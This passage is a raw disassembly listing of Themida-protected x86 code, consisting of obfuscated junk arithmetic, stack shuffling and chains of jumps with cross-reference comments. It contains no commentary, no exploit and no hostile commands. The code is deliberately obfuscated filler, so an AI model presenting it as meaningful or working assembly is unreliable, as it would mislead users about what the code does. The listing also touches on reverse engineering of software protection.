sub eax, esi
mov esi, [esp]
add esp, 4
sub eax, 16411ECh
jmp loc_561172
; ---------------------------------------------------------------------------
loc_56573C: ; CODE XREF: Themida_:00564AD2j
mov eax, [esp]
add esp, 4
xchg edx, [esp]
pop esp
pop dword ptr [eax]
xor dword ptr [eax], 74767612h
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_565753: ; CODE XREF: Themida_:00562E8Cj
xor al, 0Dh
sub bl, al
pop eax
push 3CA9h
mov [esp], eax
mov ah, 2Ah
sub ah, 0A9h
sub bl, ah
pop eax
sub bl, cl
add bl, 81h
add bl, 0F6h
push dword ptr [esp]
jmp loc_55FDB1
; ---------------------------------------------------------------------------
loc_565778: ; CODE XREF: Themida_:005625DCj
pop ecx
xchg ebp, [esp]
pop esp
jmp loc_56E05D
; ---------------------------------------------------------------------------
loc_565782: ; CODE XREF: Themida_:00563A4Cj
or edi, eax
mov eax, [esp]
add esp, 4
push 7E02h
mov [esp], edx
mov edx, 7AF36A8Fh
add edx, 0FA000C50h
jmp loc_56F22C
; ---------------------------------------------------------------------------
loc_5657A2: ; CODE XREF: Themida_:00562044j
push dword ptr [esp]
pop ebp
add esp, 4
push ebx
mov ebx, 2A163319h
or ebx, 60F445EFh
shr ebx, 8
sub ebx, 16FA1700h
xor ebx, 168F2088h
add eax, ebx
pop ebx
add eax, 0F8013E21h
sub esi, eax
jmp loc_568627
; ---------------------------------------------------------------------------
loc_5657D3: ; CODE XREF: Themida_:0055D399j
mov [esp], ecx
mov cl, 0C8h
shl cl, 1
sub cl, 0FFh
push edx
mov dh, 0E8h
or dh, 0F2h
sub dh, 8Ch
shl dh, 1
xor dh, 41h
sub cl, dh
jmp loc_56D63B
; ---------------------------------------------------------------------------
loc_5657F2: ; CODE XREF: Themida_:00560C43j
pop edi
jmp loc_56E430
; ---------------------------------------------------------------------------
loc_5657F8: ; CODE XREF: Themida_:0056D11Cj
mov esp, [esp]
push dword ptr [esp]
mov ebx, [esp]
jmp loc_56589C
; ---------------------------------------------------------------------------
loc_565806: ; CODE XREF: Themida_:005621BEj
shr ebp, 2
sub ebp, 5FA655F6h
xor ebp, 0D42D8E07h
jmp loc_56470D
; ---------------------------------------------------------------------------
loc_56581A: ; CODE XREF: Themida_:0056A1B8j
mov [esp], eax
mov eax, esp
add eax, 4
add eax, 4
xor eax, [esp]
xor [esp], eax
jmp loc_55F77C
; ---------------------------------------------------------------------------
loc_565834: ; CODE XREF: Themida_:00565B78j
pop ebx
pop dword ptr [esp]
push 42F2h
mov [esp], ecx
mov ecx, 4
add dword ptr [esp+4], 6C2C615Ah
add dword ptr [esp+4], 5EAF1E89h
add [esp+4], ecx
jmp loc_56A474
; ---------------------------------------------------------------------------
loc_56585E: ; CODE XREF: Themida_:0055EB17j
xor eax, 613D46A3h
shl eax, 1
add eax, 75AC7D73h
inc eax
dec eax
push esi
mov esi, 2FE70D81h
neg esi
not esi
not esi
xor esi, 3CD82CB4h
xor eax, esi
pop esi
add edi, eax
push dword ptr [esp]
pop eax
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_55DF0D
; ---------------------------------------------------------------------------
loc_56589C: ; CODE XREF: Themida_:00565801j
add esp, 4
jmp loc_55F709
; ---------------------------------------------------------------------------
loc_5658A7: ; CODE XREF: Themida_:00565CC8j
add esp, 4
push ebx
push eax
mov eax, 6BB91089h
mov ebx, 1CC66EE6h
jmp loc_56119C
; ---------------------------------------------------------------------------
loc_5658BB: ; CODE XREF: Themida_:0056DA8Fj
add edi, eax
pop eax
xchg edi, [esp]
mov esp, [esp]
sub bl, al
push ecx
mov cl, 7Ch
add bl, cl
pop ecx
sub bl, 0E5h
movzx eax, al
push small 2135h
mov [esp], ax
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_5658DF: ; CODE XREF: Themida_:0056C011j
shl eax, 5
or eax, 5B592931h
jmp loc_56C09E
; ---------------------------------------------------------------------------
loc_5658EC: ; CODE XREF: Themida_:00564708j
add esp, 4
push edx
mov edx, esp
push edi
mov edi, 4
jmp loc_56B46E
; ---------------------------------------------------------------------------
loc_5658FD: ; CODE XREF: Themida_:0056FAADj
sub ch, bh
push dword ptr [esp]
pop ebx
add esp, 4
sub ch, 91h
and ch, 0A2h
or ch, 64h
neg ch
sub ch, 60h
xor bh, ch
jmp loc_56AFF2
; ---------------------------------------------------------------------------
loc_56591E: ; CODE XREF: Themida_:0056E089j
sub edx, 769D3BC6h
xor edx, 0C5E7F170h
xor edi, edx
pop edx
push ecx
mov ecx, 127A2680h
push edx
mov edx, 71873EE2h
and edx, 6D37A03h
neg edx
inc edx
inc edx
add edx, 4B8D62DFh
and ecx, edx
pop edx
not ecx
shr ecx, 8
neg ecx
jmp loc_5681FD
; ---------------------------------------------------------------------------
loc_565958: ; CODE XREF: Themida_:0056A902j
mov esi, 68DF1E64h
add esi, 53461751h
sub esi, 510051A5h
neg esi
sub esi, 5DF9EF3Eh
add edx, 2E34457h
sub edx, esi
jmp loc_5712D6
; ---------------------------------------------------------------------------
loc_56597E: ; CODE XREF: Themida_:005685E4j
mov dx, [esp]
push 3F4Ah
jmp loc_5611C9
; ---------------------------------------------------------------------------
loc_56598C: ; CODE XREF: Themida_:00560370j
mov edx, ebp
sub esp, 4
jmp loc_5620F5
; ---------------------------------------------------------------------------
loc_565996: ; CODE XREF: Themida_:0056E3D7j
mov edi, 0DA44F2Eh
neg edi
sub edi, 3C110531h
neg edi
or edi, 15033B8Fh
add edi, 113C9424h
push eax
jmp loc_564CCF
; ---------------------------------------------------------------------------
loc_5659B7: ; CODE XREF: Themida_:0056E4E4j
not edx
shl edx, 8
jmp loc_569FE9
; ---------------------------------------------------------------------------
loc_5659C1: ; CODE XREF: Themida_:00564BF5j
mov dh, 0B6h
mov ah, dh
jmp loc_5674F1
; ---------------------------------------------------------------------------
loc_5659CA: ; CODE XREF: Themida_:0055E018j
mov bh, 0E9h
push 0C99h
mov [esp], ecx
jmp loc_56E53E
; ---------------------------------------------------------------------------
loc_5659D9: ; CODE XREF: Themida_:00567FECj
pop eax
xor ebp, eax
jmp loc_55F02B
; ---------------------------------------------------------------------------
loc_5659E1: ; CODE XREF: Themida_:0055DF90j
or esi, 1FA57953h
and esi, 48D1595Dh
or esi, 57BC48BBh
jmp loc_56209D
; ---------------------------------------------------------------------------
loc_5659F8: ; CODE XREF: Themida_:00561807j
add esp, 4
jmp loc_56F3FE
; ---------------------------------------------------------------------------
loc_565A00: ; CODE XREF: Themida_:0057252Cj
mov [esp], cx
push eax
mov ah, 0EDh
add ah, 38h
mov cl, ah
jmp loc_569B09
; ---------------------------------------------------------------------------
loc_565A11: ; CODE XREF: Themida_:0056465Ej
not dword ptr [esp]
pop ebp
add ebp, 74971B96h
jmp loc_56F6AF
; ---------------------------------------------------------------------------
loc_565A20: ; CODE XREF: Themida_:00571CA2j
mov ebp, 4F8264AFh
xor ebp, 1AC33FAAh
mov eax, ebp
pop ebp
sub ebx, eax
pop eax
mov ebp, [esp]
add esp, 4
add [esp+4], ebx
mov ebx, [esp]
add esp, 4
mov ebp, [esp]
add esp, 4
jmp loc_56315F
; ---------------------------------------------------------------------------
loc_565A55: ; CODE XREF: Themida_:00569CBEj
add al, bl
jmp loc_5633A1
; ---------------------------------------------------------------------------
loc_565A5C: ; CODE XREF: Themida_:0055F3D2j
pop edx
sub esi, 25684423h
push edi
jmp loc_57143C
; ---------------------------------------------------------------------------
loc_565A69: ; CODE XREF: Themida_:005664E3j
pop eax
jmp loc_55E16B
; ---------------------------------------------------------------------------
loc_565A6F: ; CODE XREF: Themida_:0056103Ej
mov edi, [esp]
jmp loc_5637CA
; ---------------------------------------------------------------------------
loc_565A77: ; CODE XREF: Themida_:00567571j
push eax
push 4
jmp loc_56378F
; ---------------------------------------------------------------------------
loc_565A82: ; CODE XREF: Themida_:0056A079j
push esi
jmp loc_5641FA
; ---------------------------------------------------------------------------
loc_565A88: ; CODE XREF: Themida_:005718DBj
add edx, 29B64EA5h
sub edx, 52F33B1Bh
jmp loc_56CF52
; ---------------------------------------------------------------------------
loc_565A99: ; CODE XREF: Themida_:00560CE2j
xchg ecx, [esp]
pop esp
mov [esp], edx
mov dl, 10h
sub esp, 4
jmp loc_55F945
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push 27C3h
jmp loc_55DC03
; ---------------------------------------------------------------------------
loc_565ABB: ; CODE XREF: Themida_:00569C39j
sub ecx, 4
xchg ecx, [esp]
jmp loc_56FA4A
; ---------------------------------------------------------------------------
loc_565AC9: ; CODE XREF: Themida_:00571730j
not edi
jmp loc_5669B7
; ---------------------------------------------------------------------------
loc_565AD0: ; CODE XREF: Themida_:00562EE1j
inc ebx
xor ebx, 353C9604h
sub esi, ebx
pop ebx
xor esi, 3AF8EFD2h
jmp loc_5603BB
; ---------------------------------------------------------------------------
loc_565AE5: ; CODE XREF: Themida_:00562BF2j
mov edi, [esp]
add esp, 4
not edi
or edi, 3EFC33FBh
inc edi
xor edi, 9F20C1E3h
mov eax, edi
pop edi
xor eax, ecx
mov ecx, [esp]
add esp, 4
and ebx, eax
pop eax
add ebx, 21442E22h
push edi
mov edi, 6F2C1A10h
sub ebx, edi
jmp loc_5722BB
; ---------------------------------------------------------------------------
loc_565B1B: ; CODE XREF: Themida_:0056D0FEj
mov esp, [esp]
jmp loc_563E05
; ---------------------------------------------------------------------------
loc_565B23: ; CODE XREF: Themida_:0055EC94j
shr esi, 1
push 4E0h
mov [esp], ecx
mov ecx, esp
push ebx
mov ebx, 3DF82C57h
dec ebx
add ebx, 0C207D3AEh
sub ecx, 62CF7720h
add ecx, ebx
add ecx, 62CF7720h
mov ebx, [esp]
add esp, 4
sub ecx, 4
jmp loc_560794
; ---------------------------------------------------------------------------
loc_565B5B: ; CODE XREF: Themida_:00568DB7j
sub esp, 4
mov [esp], ecx
jmp loc_572628
; ---------------------------------------------------------------------------
loc_565B66: ; CODE XREF: Themida_:00566E3Cj
push 0D86h
mov [esp], esp
push ebx
mov ebx, 4
add [esp+4], ebx
jmp loc_565834
; ---------------------------------------------------------------------------
loc_565B7D: ; CODE XREF: Themida_:00569DD6j
sub ah, 0Dh
push edx
jmp loc_5618F8
; ---------------------------------------------------------------------------
loc_565B86: ; CODE XREF: Themida_:00563DBEj
mov eax, [esp]
add esp, 4
sub edi, 0F226DBEEh
sub ebx, edi
mov edi, [esp]
add esp, 4
sub ebx, 25A56ABBh
sub ebx, 782308A3h
add ebx, edi
add ebx, 782308A3h
add ebx, 25A56ABBh
jmp loc_55EB65
; ---------------------------------------------------------------------------
loc_565BBC: ; CODE XREF: Themida_:00566EE5j
push ebp
mov ebp, 6AAC1F83h
or edi, ebp
pop ebp
shr edi, 1
sub edi, 79761449h
push esi
push ebx
mov ebx, 5A42C89h
jmp loc_56EA70
; ---------------------------------------------------------------------------
loc_565BD9: ; CODE XREF: Themida_:0055E904j
shr word ptr [esp], cl
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_565BE3: ; CODE XREF: Themida_:00566DF9j
mov bl, [esp+4]
mov [esp+4], cl
jmp loc_55F952
; ---------------------------------------------------------------------------
loc_565BF0: ; CODE XREF: Themida_:00562779j
add ebx, 4
sub ebx, 4
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
mov [esp], ecx
mov ecx, 7C9113DFh
sub edx, ecx
pop ecx
add edx, eax
push ebx
push edi
mov edi, 295D2951h
sub edi, 0BB3C8Ch
inc edi
dec edi
sub edi, 365751Ah
mov ebx, edi
pop edi
jmp loc_571D80
; ---------------------------------------------------------------------------
loc_565C2D: ; CODE XREF: Themida_:0056A5B4j
sub edi, 17E822F9h
add edi, 248F47E2h
add edi, ebx
jmp loc_56E6DD
; ---------------------------------------------------------------------------
loc_565C40: ; CODE XREF: Themida_:00563803j
add eax, 9E5D1689h
sub ebx, 314C5C30h
jmp loc_56E9FD
; ---------------------------------------------------------------------------
loc_565C50: ; CODE XREF: Themida_:0056DD27j
sub eax, 433B660Eh
add eax, ebp
push ebp
mov ebp, 6BB10788h
sub ebp, 0B505938h
shr ebp, 3
jmp loc_5674BD
; ---------------------------------------------------------------------------
loc_565C6B: ; CODE XREF: Themida_:00571463j
mov esi, 2231278Dh
not esi
sub esi, 4CED15E1h
sub esi, 0FFFFFFFFh
push ebp
mov ebp, 24D70E2Dh
xchg eax, ebp
not eax
xchg eax, ebp
sub ebp, 6DA94F91h
jmp loc_570F0A
; ---------------------------------------------------------------------------
loc_565C90: ; CODE XREF: Themida_:0056CE1Aj
xor ah, 43h
xor ah, 0B1h
add bl, ah
pop eax
jmp loc_56A806
; ---------------------------------------------------------------------------
loc_565C9E: ; CODE XREF: Themida_:0057113Aj
mov [esp], ebx
mov bl, 46h
push edx
jmp loc_56AC04
; ---------------------------------------------------------------------------
loc_565CA9: ; CODE XREF: Themida_:00570FB1j
push 4469h
mov [esp], eax
push 330E31D8h
pop eax
dec eax
sub eax, 0F3BE2300h
mov edi, eax
pop eax
jmp loc_56F988
; ---------------------------------------------------------------------------
loc_565CC5: ; CODE XREF: Themida_:0056FC92j
mov ebp, [esp]
jmp loc_5658A7
; ---------------------------------------------------------------------------
loc_565CCD: ; CODE XREF: Themida_:00561AEAj
add edx, 4
jmp loc_567623
; ---------------------------------------------------------------------------
loc_565CD8: ; CODE XREF: Themida_:0055EDCBj
mov ebp, ebx
pop ebx
add eax, ebp
pop ebp
jmp loc_5682E3
; ---------------------------------------------------------------------------
loc_565CE3: ; CODE XREF: Themida_:0056B40Aj
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
push edx
mov edx, 4B46379Eh
dec edx
sub edx, 50650C91h
shl edx, 2
add edx, 6C17432Fh
and edx, 5E0B1E3Fh
add edx, 0C733F47Eh
jmp loc_569853
; ---------------------------------------------------------------------------
loc_565D14: ; CODE XREF: Themida_:0057218Fj
pop eax
mov ecx, [esp]
add esp, 4
jmp loc_55F5DF
; ---------------------------------------------------------------------------
loc_565D23: ; CODE XREF: Themida_:0055F169j
pop esp
mov bp, [esp]
add esp, 2
sub esp, 2
mov [esp], bp
jmp loc_564CDE
; ---------------------------------------------------------------------------
loc_565D3A: ; CODE XREF: Themida_:00561360j
mov [esp], ebp
push 4F53F2C5h
mov ebp, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
xor eax, ebp
push dword ptr [esp]
mov ebp, [esp]
jmp loc_55E223
; ---------------------------------------------------------------------------
loc_565D62: ; CODE XREF: Themida_:005656F5j
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_565D74: ; CODE XREF: Themida_:0056F4A0j
pop edi
add edi, 3E9A0A32h
add edi, edx
sub edi, 3E9A0A32h
pop edx
sub edi, 4
xchg edi, [esp]
mov esp, [esp]
mov [esp], ecx
push edi
push ebx
mov ebx, 34A60310h
mov edi, 0D8E4034Ch
jmp loc_5614BC
; ---------------------------------------------------------------------------
loc_565DA1: ; CODE XREF: Themida_:00563C47j
push 0
sub [esp], ch
mov ch, [esp]
add esp, 4
push edx
mov dh, 28h
xor ch, dh
pop edx
jmp loc_55E5D2
; ---------------------------------------------------------------------------
loc_565DBA: ; CODE XREF: Themida_:00568128j
push dword ptr [esp]
pop ebp
jmp loc_569D4B
; ---------------------------------------------------------------------------
loc_565DC3: ; CODE XREF: Themida_:00567C55j
mov ebp, [esp]
add esp, 4
sub ebx, eax
push ecx
push ebx
jmp loc_55F48C
; ---------------------------------------------------------------------------
loc_565DD2: ; CODE XREF: Themida_:0056C1DBj
xchg eax, ebp
not eax
push eax
dec dword ptr [esp]
pop eax
not eax
push edi
mov edi, 0C2C70F0Bh
sub eax, edi
jmp loc_56B6B9
; ---------------------------------------------------------------------------
loc_565DE9: ; CODE XREF: Themida_:0057251Ej
or ecx, 752E0613h
not ecx
shl ecx, 7
or ecx, 2337639Eh
xor ecx, 0F5CCC2Dh
add eax, ecx
pop ecx
jmp loc_55E889
; ---------------------------------------------------------------------------
loc_565E08: ; CODE XREF: Themida_:00571B52j
pop ecx
jmp loc_560D34
; ---------------------------------------------------------------------------
loc_565E0E: ; CODE XREF: Themida_:0056BA6Fj
push ebp
mov ebp, 50704561h
jmp loc_55DB22
; ---------------------------------------------------------------------------
loc_565E19: ; CODE XREF: Themida_:0056CB8Aj
mov ecx, 276F0CBDh
xor ecx, 75D75A64h
not ecx
xchg ebp, ecx
jmp loc_567A5F
; ---------------------------------------------------------------------------
loc_565E2D: ; CODE XREF: Themida_:005655F7j
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
push ebp
mov ebp, 29037A35h
add ebp, 0D6FC85CFh
sub eax, 3B9A50E4h
add eax, ebp
jmp loc_56ADC9
; ---------------------------------------------------------------------------
loc_565E4E: ; CODE XREF: Themida_:005725B3j
sub ah, 2Fh
sub bl, ah
jmp loc_5636CE
; ---------------------------------------------------------------------------
lodsd
add eax, 20D454B6h
add eax, 363849C0h
jmp loc_571735
; ---------------------------------------------------------------------------
loc_565E68: ; CODE XREF: Themida_:005706D5j
sub al, bl
push ecx
mov cl, 0ECh
jmp loc_5632E2
; ---------------------------------------------------------------------------
loc_565E72: ; CODE XREF: Themida_:0056953Ej
pop ebx
pop ecx
mov cl, dh
pop edx
jmp loc_5662C1
; ---------------------------------------------------------------------------
loc_565E7C: ; CODE XREF: Themida_:0057259Dj
add [esp+4], eax
add dword ptr [esp+4], 222D189Fh
push dword ptr [esp]
pop eax
add esp, 4
pop ebx
sub ebx, 9B1183Eh
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_565E9B: ; CODE XREF: Themida_:0055DAEDj
mov ebp, 6AF30018h
and esi, ebp
pop ebp
jmp loc_561830
; ---------------------------------------------------------------------------
loc_565EA8: ; CODE XREF: Themida_:00565509j
mov [esp+2], dl
pop dx
not al
jmp loc_55E7D0
; ---------------------------------------------------------------------------
loc_565EB5: ; CODE XREF: Themida_:0056C2C7j
push dword ptr [esp]
pop ebp
add esp, 4
pop ebp
add ebp, 4
add ebp, 4
sub esp, 4
mov [esp], ebp
push dword ptr [esp+4]
mov ebp, [esp]
add esp, 4
pop dword ptr [esp]
jmp loc_560A7F
; ---------------------------------------------------------------------------
loc_565EE1: ; CODE XREF: Themida_:00564CFEj
dec ebx
push edi
mov edi, 0FFFFFFFFh
add ebx, 6F681F11h
add ebx, edi
jmp loc_566CCC
; ---------------------------------------------------------------------------
loc_565EF5: ; CODE XREF: Themida_:0056C169j
xor esi, ebx
pop ebx
xchg ecx, esi
push ebx
jmp loc_55D84C
; ---------------------------------------------------------------------------
loc_565F00: ; CODE XREF: Themida_:0055E7E2j
pop edi
push eax
mov eax, 1273478Bh
add eax, 0ED8CB879h
sub ebx, 38926E2Ch
add ebx, eax
jmp loc_56F419
; ---------------------------------------------------------------------------
loc_565F19: ; CODE XREF: Themida_:005623DFj
sub ebx, ebp
jmp loc_56645B
; ---------------------------------------------------------------------------
loc_565F20: ; CODE XREF: Themida_:0055EBEAj
add bx, 62A4h
jmp loc_56A6CF
; ---------------------------------------------------------------------------
loc_565F2A: ; CODE XREF: Themida_:0056B7D7j
mov [esp], edx
push dword ptr [esp+4]
jmp loc_571B12
; ---------------------------------------------------------------------------
loc_565F36: ; CODE XREF: Themida_:0056A21Fj
pop ebx
add edi, 0FDF07235h
sub ebx, 5500444h
add ebx, edi
push edi
mov edi, 5500444h
add ebx, edi
pop edi
mov edi, [esp]
add esp, 4
push ebx
push dword ptr [esp+4]
mov ebx, [esp]
jmp loc_563927
; ---------------------------------------------------------------------------
loc_565F61: ; CODE XREF: Themida_:0055E44Aj
sub cl, 1
push edx
mov dl, 17h
and dl, 1Ch
shl dl, 8
or dl, 71h
jmp loc_568312
; ---------------------------------------------------------------------------
loc_565F75: ; CODE XREF: Themida_:0055DF21j
add ebx, 4
xor ebx, [esp]
xor [esp], ebx
jmp loc_5706F4
; ---------------------------------------------------------------------------
loc_565F86: ; CODE XREF: Themida_:00571595j
add esp, 4
push eax
push edx
mov edx, 0DD01063h
jmp loc_5655FC
; ---------------------------------------------------------------------------
loc_565F98: ; CODE XREF: Themida_:00569511j
add eax, 4
add eax, 4
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
pop esp
mov ebp, [esp]
add esp, 4
push edi
jmp loc_56E824
; ---------------------------------------------------------------------------
loc_565FB8: ; CODE XREF: Themida_:0055E7C0j
not dword ptr [esp]
pop esi
push ecx
push 2FB8h
mov [esp], ebx
mov ebx, 25EC01F7h
mov ecx, 6CFD655Ah
xor ecx, ebx
mov ebx, [esp]
add esp, 4
or esi, ecx
mov ecx, [esp]
push eax
mov eax, esp
jmp loc_55F104
; ---------------------------------------------------------------------------
loc_565FE7: ; CODE XREF: Themida_:00567864j
pop edx
push eax
push ecx
jmp loc_56A07E
; ---------------------------------------------------------------------------
lodsb
add al, 3Fh
push edx
mov dl, 0E0h
shl dl, 4
inc dl
sub dl, 0FAh
xor dl, 53h
sub al, dl
pop edx
push edx
mov dl, 16h
add dl, 32h
add al, 0A2h
sub al, dl
jmp loc_5620C8
; ---------------------------------------------------------------------------
loc_566012: ; CODE XREF: Themida_:00563877j
add esp, 4
jmp loc_56E275
; ---------------------------------------------------------------------------
loc_56601D: ; CODE XREF: Themida_:00563D41j
push 0CF4h
mov [esp], ebx
push 5E26C20h
mov ebx, [esp]
add esp, 4
push ebx
not dword ptr [esp]
pop ebx
inc ebx
push edi
mov edi, 0FA1D93DEh
sub ebx, 96A75B4h
sub ebx, edi
add ebx, 96A75B4h
pop edi
add ecx, ebx
pop ebx
xchg ecx, [esp]
mov esp, [esp]
bt [esp], ax
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_566062: ; CODE XREF: Themida_:0056926Ej
push dword ptr [esp]
pop esi
jmp loc_571830
; ---------------------------------------------------------------------------
loc_56606B: ; CODE XREF: Themida_:0056894Cj
push ebx
push 570848F8h
pop ebx
dec ebx
not ebx
shl ebx, 5
sub ebx, 17E1762Dh
mov edx, ebx
pop ebx
sub esp, 4
mov [esp], ecx
mov ecx, 482308AFh
xor edx, ecx
pop ecx
push esi
mov esi, 0AAD3635h
neg esi
inc esi
add esi, 4A741AD2h
jmp loc_55E303
; ---------------------------------------------------------------------------
loc_5660A3: ; CODE XREF: Themida_:005701F4j
push esp
pop edx
push ebx
push ebp
mov ebp, 5BDA47A6h
mov ebx, ebp
mov ebp, [esp]
jmp loc_563215
; ---------------------------------------------------------------------------
loc_5660B6: ; CODE XREF: Themida_:00560702j
pop ebx
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
jmp loc_57063B
; ---------------------------------------------------------------------------
loc_5660CB: ; CODE XREF: Themida_:00566A05j
add eax, 5E5672BEh
mov ebx, [esp]
add esp, 4
push 2DCh
jmp loc_5707B4
; ---------------------------------------------------------------------------
loc_5660E0: ; CODE XREF: Themida_:0056B6C6j
push esi
mov esi, 4EA672Bh
xor ebp, esi
pop esi
jmp loc_569FA3
; ---------------------------------------------------------------------------
loc_5660EE: ; CODE XREF: Themida_:0056DDCAj
pop esp
not ebp
xor ebp, ebx
xor ebx, ebp
xor ebp, ebx
not ebx
jmp loc_56064D
; ---------------------------------------------------------------------------
loc_5660FE: ; CODE XREF: Themida_:00561705j
mov ecx, 27D8740Ch
jmp loc_571CA7
; ---------------------------------------------------------------------------
loc_566108: ; CODE XREF: Themida_:0056E002j
pop dword ptr [esp]
mov esp, [esp]
push 6DDAh
mov [esp], edi
push 4EEEh
push 45Ch
mov [esp], esp
add dword ptr [esp], 4
pop dword ptr [esp]
add dword ptr [esp], 4
mov edi, [esp]
add esp, 4
jmp loc_55E978
; ---------------------------------------------------------------------------
loc_56613F: ; CODE XREF: Themida_:00560EB2j
push esi
jmp loc_5616EC
; ---------------------------------------------------------------------------
loc_566145: ; CODE XREF: Themida_:0056D9DBj
pop esp
jmp loc_5630D6
; ---------------------------------------------------------------------------
loc_56614B: ; CODE XREF: Themida_:005689F6j
push dword ptr [esp]
jmp loc_5616E3
; ---------------------------------------------------------------------------
loc_566153: ; CODE XREF: Themida_:0055D5B2j
shr ebx, 2
add ebx, 34D77EEAh
jmp loc_56B5A9
; ---------------------------------------------------------------------------
loc_566161: ; CODE XREF: Themida_:0055ECD3j
mov [esp], ecx
mov ecx, 0
push esi
mov esi, 1C4A60F9h
shr esi, 3
add esi, 68576107h
jmp loc_56306B
; ---------------------------------------------------------------------------
loc_56617D: ; CODE XREF: Themida_:0055EB60j
mov ebp, ebx
pop ebx
shl ebp, 1
not ebp
neg ebp
add ebp, 617A59B9h
shr ebp, 4
push esi
mov esi, 9055755h
inc esi
push ebp
mov ebp, 0EA8162CEh
jmp loc_570FD4
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_56FBE8
; ---------------------------------------------------------------------------
loc_5661AA: ; CODE XREF: Themida_:0056AE81j
mov eax, [esp]
jmp loc_571B62
; ---------------------------------------------------------------------------
loc_5661B2: ; CODE XREF: Themida_:00568904j
add eax, 4
add eax, 2
jmp loc_56D69F
; ---------------------------------------------------------------------------
loc_5661BF: ; CODE XREF: Themida_:0056E8BCj
add edx, edi
pop edi
or [edi+1Ch], edx
push dword ptr [esp]
pop edx
push esi
push esp
jmp loc_55D459
; ---------------------------------------------------------------------------
loc_5661D0: ; CODE XREF: Themida_:0056A0DDj
sub esp, 4
jmp loc_566EA9
; ---------------------------------------------------------------------------
loc_5661D8: ; CODE XREF: Themida_:0056AF3Dj
shl edi, 1
dec edi
shl edi, 1
and edi, 0A4C388Bh
sub edi, 0C1806h
add ecx, edi
pop edi
xchg ecx, [esp]
pop esp
shr eax, 0Eh
xor eax, ecx
push 7F1Dh
mov [esp], eax
xor [esp], ebx
xor ebx, [esp]
xor [esp], ebx
xchg esi, ebx
not esi
xchg esi, ebx
push ebx
mov ebx, esp
jmp loc_560256
; ---------------------------------------------------------------------------
loc_566214: ; CODE XREF: Themida_:00566278j
add esp, 4
loc_566217: ; CODE XREF: Themida_:0055D5A0j
push 3B08h
mov [esp], eax
jmp loc_569D45
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562A0A
loc_566224: ; CODE XREF: sub_562A0A+A98Fj
or cl, 74h
neg cl
dec cl
jmp loc_561CF8
; END OF FUNCTION CHUNK FOR sub_562A0A
; ---------------------------------------------------------------------------
loc_566230: ; CODE XREF: Themida_:005713B9j
pop edx
add dh, 0FAh
jmp loc_568449
; ---------------------------------------------------------------------------
loc_566239: ; CODE XREF: Themida_:0056C712j
mov edx, 24h
jmp loc_560963
; ---------------------------------------------------------------------------
loc_566243: ; CODE XREF: Themida_:00560409j
sub eax, 4A9527BBh
mov ecx, [esp]
add esp, 4
add eax, 33C067Fh
add eax, ebp
sub eax, 33C067Fh
push dword ptr [esp]
jmp loc_56B99E
; ---------------------------------------------------------------------------
loc_566262: ; CODE XREF: Themida_:005634E5j
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
add esp, 4
push dword ptr [esp]
pop eax
jmp loc_566214
; ---------------------------------------------------------------------------
loc_56627D: ; CODE XREF: Themida_:0056E050j
pop ecx
add esi, ebp
pop ebp
push 3AEFh
mov [esp], ecx
push 438Ah
mov [esp], ebx
jmp loc_56237E
; ---------------------------------------------------------------------------
loc_566296: ; CODE XREF: Themida_:00564767j
neg edx
sub edx, 336375BAh
jmp loc_56A7C4
; ---------------------------------------------------------------------------
loc_5662A3: ; CODE XREF: Themida_:0056C535j
push esi
mov esi, 66DE48F5h
not esi
sub esi, 262008CCh
jmp loc_571F66
; ---------------------------------------------------------------------------
loc_5662B6: ; CODE XREF: Themida_:0055FBFCj
sub edi, 534901BEh
jmp loc_570094
; ---------------------------------------------------------------------------
loc_5662C1: ; CODE XREF: Themida_:00565E77j
push edx
push eax
mov al, cl
mov dh, al
pop eax
jmp loc_57292D
; ---------------------------------------------------------------------------
loc_5662CD: ; CODE XREF: Themida_:00571099j
sub eax, 9618C076h
sub edx, eax
pop eax
sub ecx, 30245DD1h
add ecx, edx
jmp loc_55EE72
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
add esp, 4
jmp loc_561C49
; ---------------------------------------------------------------------------
push edi
push esp
pop edi
add edi, 4
push esi
mov esi, 4
sub edi, esi
pop esi
xchg edi, [esp]
pop esp
mov [esp], ebp
mov ebp, eax
sub esp, 4
jmp loc_56F0F0
; ---------------------------------------------------------------------------
loc_566316: ; CODE XREF: Themida_:00569466j
mov esi, 1E441A58h
and ebx, esi
mov esi, [esp]
jmp loc_55E44F
; ---------------------------------------------------------------------------
pop dword ptr [edx]
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56632C: ; CODE XREF: Themida_:0056A10Cj
pop esi
xchg edi, [esp]
pop esp
mov [esp], ecx
mov ecx, 2
jmp loc_567616
; ---------------------------------------------------------------------------
loc_56633E: ; CODE XREF: Themida_:0055F7C3j
sub ecx, 2EC36A97h
pop edi
jmp loc_56335C
; ---------------------------------------------------------------------------
loc_56634A: ; CODE XREF: Themida_:00564E7Ej
mov [esp], ebx
push 221h
mov [esp], edx
mov edx, 28671F69h
jmp loc_56E103
; ---------------------------------------------------------------------------
loc_56635F: ; CODE XREF: Themida_:00561085j
sub esp, 4
mov [esp], edi
jmp loc_5692CD
; ---------------------------------------------------------------------------
loc_56636A: ; CODE XREF: Themida_:0056DB9Ej
mov esi, 44C87612h
sub esi, 0CFF507Bh
jmp loc_568B66
; ---------------------------------------------------------------------------
loc_56637A: ; CODE XREF: Themida_:0055F386j
pop esi
pop edi
pop edi
inc esi
push edx
mov edx, 5E2B79BDh
